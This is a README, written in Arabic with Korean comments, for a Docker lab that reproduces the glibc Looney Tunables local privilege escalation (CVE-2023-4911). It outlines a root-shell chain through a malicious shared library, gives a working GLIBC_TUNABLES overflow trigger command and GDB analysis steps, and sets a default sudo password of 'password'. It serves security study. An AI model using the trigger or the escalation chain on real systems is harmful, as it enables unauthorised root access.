بيئة تحليل CVE-2023-4911 "Looney Tunables"

بيئة تدريبية قائمة على Docker لتحليل ثغرة تجاوز سعة المخزن المؤقت (تصعيد الامتيازات المحلية) في المحمل الديناميكي لمكتبة GNU C (glibc) وتطوير استغلالها.

معلومات CVE

آلية الثغرة

يقوم المحمل الديناميكي لـ glibc (ld.so) بتحليل متغير البيئة GLIBC_TUNABLES عند تشغيل البرنامج.
عند تشغيل ملف SUID، يتم تعيين __libc_enable_secure = 1، ويدخل ld.so في مسار الكود الذي يبطل (nullify) متغير البيئة هذا.
خلال هذه العملية، يحدث تجاوز سعة المخزن المؤقت بسبب حساب طول خاطئ للإدخال بتنسيق tunable1=tunable2=value.

일반 바이너리:  __libc_enable_secure = 0  →  nullify 코드 미진입  →  취약점 없음
SUID 바이너리:  __libc_enable_secure = 1  →  nullify 코드 진입   →  버퍼 오버플로우 발생

تدفق الاستغلال:

GLIBC_TUNABLES 오버플로우
        ↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
        ↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
        ↓
evil.so 로드 → constructor 자동 실행
        ↓
setuid(0) + execve("/bin/bash") → root shell 획득

أهداف واتجاهات بناء البيئة

تم تصميم هذه البيئة لتتجاوز مجرد تشغيل PoC بسيط، وتهدف إلى تحليل مبدأ عمل الثغرة مباشرة وتطوير الاستغلال.

• إعادة إنتاج بيئة تعمل فيها نسخة glibc الضعيفة (2.35-0ubuntu3.3) فعليًا
• توفير بيئة تسمح بتحليل الكود المصدري لـ ld.so والملف الثنائي القابل للتنفيذ معًا
• دعم التحليل الديناميكي عبر GDB / gef / gdbserver
• ممارسة مباشرة لسيناريو تصعيد الامتيازات من مستخدم عادي (researcher) إلى الجذر
• عزل كامل عبر Docker ليتمكن أي عضو في الفريق من بدء التحليل في نفس البيئة

هيكل المشروع

CVE-2023-4911/
├── Dockerfile                  # 취약 환경 이미지 정의 (Multi-stage 빌드)
├── run.sh                      # Docker 빌드/실행 관리 스크립트
├── check_environment.sh        # 컨테이너 시작 시 환경 자동 검증
├── poc/
│   ├── exploit.py              # 기본 PoC — crash(SIGSEGV) 확인용
│   ├── exploit_lpe.py          # LPE 익스플로잇 — GDB 분석 후 완성
│   └── evil_lib/
│       ├── evil.c              # root shell 실행하는 악성 공유 라이브러리
│       └── Makefile
└── test_targets/
    ├── test_suid.c             # SUID 테스트 바이너리 소스
    └── test_heap.c             # 힙 할당 테스트 바이너리 소스

متطلبات البيئة

• Docker
• Linux أو WSL2 (ويندوز)

طريقة الاستخدام

1. بناء الصورة وتشغيل الحاوية

./run.sh build && ./run.sh run

2. إدخال كلمة مرور sudo

عند بدء الحاوية، سيُطلب منك كلمة مرور sudo.

كلمة المرور: password

3. التحقق من الثغرة

# SIGSEGV 발생 여부 확인
python3 /workspace/poc/exploit.py --check-only

# 직접 트리거
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
  /workspace/test_targets/test_suid

4. تحليل GDB

# 컨테이너 내부 직접 분석
gdb -q /workspace/test_targets/test_suid

# 원격 디버깅 (gdbserver)
# 컨테이너 내부
gdbserver :1234 /workspace/test_targets/test_suid

# 로컬 호스트
gdb
(gdb) target remote localhost:1234

5. تشغيل استغلال LPE

بعد تحليل OVERFLOW_OFFSET و TARGET_ADDR باستخدام GDB، قم بتحديث القيم في أعلى exploit_lpe.py ثم شغّله.

python3 /workspace/poc/exploit_lpe.py

خيارات run.sh

معلومات بيئة التحليل

نقاط التحليل

التحليل الثابت

# 취약 함수 위치
/workspace/glibc-source/elf/dl-tunables.c

# 주요 함수
__tunables_init()   # 진입점
parse_tunables()    # 오버플로우 발생 지점
tunables_strdup()   # 버퍼 할당

التحليل الديناميكي

# strace로 시스템 콜 추적
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid

# GDB로 __tunables_init 분석
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run

تحذيرات

يُرجى استخدام هذه البيئة لأغراض التعليم والبحث الأمني فقط.

• تم إنشاء هذه البيئة لتعلم الثغرات والبحث في تطوير الاستغلال
• لا تستخدمها أبدًا على أنظمة تشغيل فعلية أو أهداف غير مصرح بها
• تعمل الحاوية في وضع --privileged، لذا استخدمها فقط في بيئة معزولة
• جميع المسؤوليات القانونية الناتجة عن إساءة استخدام كود هذا المستودع تقع على عاتق المستخدم نفسه

المراجع

• Qualys Security Advisory
• glibc 공식 저장소
• Ubuntu Security Notice USN-6404-1